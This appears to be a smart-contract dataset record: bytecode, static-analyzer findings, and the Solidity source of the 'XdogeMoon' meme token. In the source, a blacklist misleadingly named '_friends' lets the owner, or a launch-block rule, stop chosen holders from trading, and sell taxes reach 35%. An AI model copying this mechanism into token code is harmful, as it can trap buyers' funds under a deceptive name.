65b82525050565b6000602082019050612a376000830184612a13565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112612a6257612a61612a3d565b5b8235905067ffffffffffffffff811115612a7f57612a7e612a42565b5b602083019150836020820283011115612a9b57612a9a612a47565b5b9250929050565b60008060008060608587031215612abc57612abb612804565b5b6000612aca87828801612825565b9450506020612adb8782880161285b565b935050604085013567ffffffffffffffff811115612afc57612afb612809565b5b612b0887828801612a4c565b925092505092959194509250565b600060208284031215612b2c57612b2b612804565b5b6000612b3a8482850161285b565b91505092915050565b600060208284031215612b5957612b58612804565b5b6000612b6784828501612825565b91505092915050565b6000602082019050612b8560008301846128f6565b92915050565b6000602082019050612ba0600083018461291d565b92915050565b612baf81612a06565b8114612bba57600080fd5b50565b600081359050612bcc81612ba6565b92915050565b612bdb816129d2565b8114612be657600080fd5b50565b600081359050612bf881612bd2565b92915050565b60008060008060008060c08789031215612c1b57612c1a612804565b5b6000612c2989828a01612825565b9650506020612c3a89828a0161285b565b9550506040612c4b89828a0161285b565b9450506060612c5c89828a01612bbd565b9350506080612c6d89828a01612be9565b92505060a0612c7e89828a01612be9565b9150509295509295509295565b600080600080600080600060e0888a031215612caa57612ca9612804565b5b6000612cb88a828b01612825565b9750506020612cc98a828b01612825565b9650506040612cda8a828b0161285b565b9550506060612ceb8a828b0161285b565b9450506080612cfc8a828b01612bbd565b93505060a0612d0d8a828b01612be9565b92505060c0612d1e8a828b01612be9565b91505092959891949750929550565b60008060408385031215612d4457612d43612804565b5b6000612d5285828601612825565b9250506020612d6385828601612825565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612db457607f821691505b60208210811415612dc857612dc7612d6d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612e088261283a565b9150612e138361283a565b925082821015612e2657612e25612dce565b5b828203905092915050565b60008160601b9050919050565b6000612e4982612e31565b9050919050565b6000612e5b82612e3e565b9050919050565b612e73612e6e826127c8565b612e50565b82525050565b6000819050919050565b612e94612e8f8261283a565b612e79565b82525050565b6000612ea68285612e62565b601482019150612eb68284612e83565b6020820191508190509392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612f008261283a565b9150612f0b8361283a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f4057612f3f612dce565b5b828201905092915050565b6000612f568261283a565b9150612f618361283a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f9a57612f99612dce565b5b828202905092915050565b6000612fb08261283a565b9150612fbb8361283a565b925082612fcb57612fca612ec6565b5b828204905092915050565b6000604082019050612feb6000830185612955565b612ff86020830184612955565b9392505050565b600060808201905061301460008301876129dc565b61302160208301866127da565b61302e6040830185612955565b61303b6060830184612955565b95945050505050565b600081905092915050565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b6000613085600283613044565b91506130908261304f565b600282019050919050565b6000819050919050565b6130b66130b1826129d2565b61309b565b82525050565b60006130c782613078565b91506130d382856130a5565b6020820191506130e382846130a5565b6020820191508190509392505050565b600060808201905061310860008301876129dc565b6131156020830186612a13565b61312260408301856129dc565b61312f60608301846129dc565b95945050505050565b600060c08201905061314d60008301896129dc565b61315a60208301886127da565b61316760408301876127da565b6131746060830186612955565b6131816080830185612955565b61318e60a0830184612955565b979650505050505050565b600081905092915050565b60008190508160005260206000209050919050565b600081546131c681612d9c565b6131d08186613199565b945060018216600081146131eb57600181146131fc5761322f565b60ff1983168652818601935061322f565b613205856131a4565b60005b8381101561322757815481890152600182019150602081019050613208565b838801955050505b50505092915050565b600061324482846131b9565b915081905092915050565b600060a08201905061326460008301886129dc565b61327160208301876129dc565b61327e60408301866129dc565b61328b6060830185612955565b61329860808301846127da565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006132dc8261283a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561330f5761330e612dce565b5b60018201905091905056fea26469706673582212205214fa154921d7de4006ea3bc907d67fa1e2d165b717f2e0f31a91a3080ba44364736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 9,376 |
0x2a9fa4bff8f0a066bc73f9c80bd684054d321b85
|
/**
*Submitted for verification at Etherscan.io on 2021-07-06
*/
/**
* Xdogemoon is going to launch in the Uniswap at July 6.
This is fair launch and going to launch without any presale.
tg: https://t.me/Xdoge_Xdoge
twitter: https://twitter.com/Xdoge18
All crypto babies will become a Xdoge in here.
Let's enjoy our launch!
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract XdogeMoon is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _friends;
mapping (address => User) private trader;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Xdoge Moon";
string private constant _symbol = unicode" Xdoge ";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _feeRate = 5;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
address payable private _marketingFixedWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private launchBlock = 0;
uint256 private buyLimitEnd;
struct User {
uint256 buyCD;
uint256 sellCD;
uint256 lastBuy;
uint256 buynumber;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_marketingFixedWalletAddress = marketingFixedWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
_isExcludedFromFee[marketingFixedWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_friends[from] && !_friends[to]);
if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
_friends[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
_friends[to] = true;
}
}
if(!trader[msg.sender].exists) {
trader[msg.sender] = User(0,0,0,0,true);
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if(block.timestamp > trader[to].lastBuy + (30 minutes)) {
trader[to].buynumber = 0;
}
if (trader[to].buynumber == 0) {
trader[to].buynumber++;
_taxFee = 5;
_teamFee = 5;
} else if (trader[to].buynumber == 1) {
trader[to].buynumber++;
_taxFee = 4;
_teamFee = 4;
} else if (trader[to].buynumber == 2) {
trader[to].buynumber++;
_taxFee = 3;
_teamFee = 3;
} else if (trader[to].buynumber == 3) {
trader[to].buynumber++;
_taxFee = 2;
_teamFee = 2;
} else {
//fallback
_taxFee = 5;
_teamFee = 5;
}
trader[to].lastBuy = block.timestamp;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired.");
trader[to].buyCD = block.timestamp + (45 seconds);
}
trader[to].sellCD = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired.");
}
uint256 total = 35;
if(block.timestamp > trader[from].lastBuy + (3 hours)) {
total = 10;
} else if (block.timestamp > trader[from].lastBuy + (1 hours)) {
total = 15;
} else if (block.timestamp > trader[from].lastBuy + (30 minutes)) {
total = 20;
} else if (block.timestamp > trader[from].lastBuy + (5 minutes)) {
total = 25;
} else {
//fallback
total = 35;
}
_taxFee = (total.mul(4)).div(10);
_teamFee = (total.mul(6)).div(10);
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(4));
_marketingFixedWalletAddress.transfer(amount.div(4));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
launchBlock = block.number;
}
function setFriends(address[] memory friends) public onlyOwner {
for (uint i = 0; i < friends.length; i++) {
if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) {
_friends[friends[i]] = true;
}
}
}
function delFriend(address notfriend) public onlyOwner {
_friends[notfriend] = false;
}
function isFriend(address ad) public view returns (bool) {
return _friends[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - trader[buyer].buyCD;
}
// might return outdated counter if more than 30 mins
function buyTax(address buyer) public view returns (uint) {
return ((5 - trader[buyer].buynumber).mul(2));
}
function sellTax(address ad) public view returns (uint) {
if(block.timestamp > trader[ad].lastBuy + (3 hours)) {
return 10;
} else if (block.timestamp > trader[ad].lastBuy + (1 hours)) {
return 15;
} else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) {
return 20;
} else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) {
return 25;
} else {
return 35;
}
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613f5e565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190613a3b565b610662565b6040516101f09190613f43565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614140565b60405180910390f35b34801561023057600080fd5b5061024b600480360381019061024691906139ec565b610691565b6040516102589190613f43565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614140565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae91906141b5565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613b0a565b610783565b005b3480156102ec57600080fd5b5061030760048036038101906103029190613ab8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b919061395e565b61095f565b60405161033d9190614140565b60405180910390f35b34801561035257600080fd5b5061036d6004803603810190610368919061395e565b610aeb565b60405161037a9190613f43565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a5919061395e565b610b41565b6040516103b79190614140565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f9919061395e565b610c0a565b60405161040b9190614140565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613e75565b60405180910390f35b34801561046257600080fd5b5061047d6004803603810190610478919061395e565b610dd7565b60405161048a9190614140565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613f5e565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190613a3b565b610e7f565b6040516104f29190613f43565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613f43565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190613a77565b610eb2565b005b34801561055b57600080fd5b50610564611134565b005b34801561057257600080fd5b5061057b6111ae565b005b34801561058957600080fd5b5061059261127a565b60405161059f9190614140565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca919061395e565b6112ac565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906139b0565b61139c565b6040516106059190614140565b60405180910390f35b34801561061a57600080fd5b50610623611423565b005b60606040518060400160405280600a81526020017f58646f6765204d6f6f6e00000000000000000000000000000000000000000000815250905090565b600061067661066f611935565b848461193d565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611b08565b61075f846106aa611935565b61075a8560405180606001604052806028815260200161491760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610710611935565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bdd9092919063ffffffff16565b61193d565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c4611935565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90614020565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614140565b60405180910390a150565b610872611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690614080565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613f43565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b19190614276565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a119190614276565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a719190614276565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad19190614276565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b919190614357565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd9611935565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612c41565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db8565b9050919050565b610c63611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790614080565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d9190614357565b612e2690919063ffffffff16565b9050919050565b60606040518060400160405280600781526020017f2058646f67652000000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c611935565b8484611b08565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90614080565b60405180910390fd5b60005b815181101561113057601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610fc5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161415801561107f5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061105e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561111d576001600660008484815181106110c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061112890614456565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611175611935565b73ffffffffffffffffffffffffffffffffffffffff161461119557600080fd5b60006111a030610c0a565b90506111ab81612ea1565b50565b6111b6611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a90614080565b60405180910390fd5b6001601560146101000a81548160ff02191690831515021790555060784261126b9190614276565b60178190555043601681905550565b60006112a7601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112b4611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611341576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133890614080565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61142b611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114af90614080565b60405180910390fd5b601560149054906101000a900460ff1615611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff90614100565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061159830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061193d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156115de57600080fd5b505afa1580156115f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116169190613987565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561167857600080fd5b505afa15801561168c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b09190613987565b6040518363ffffffff1660e01b81526004016116cd929190613e90565b602060405180830381600087803b1580156116e757600080fd5b505af11580156116fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171f9190613987565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffff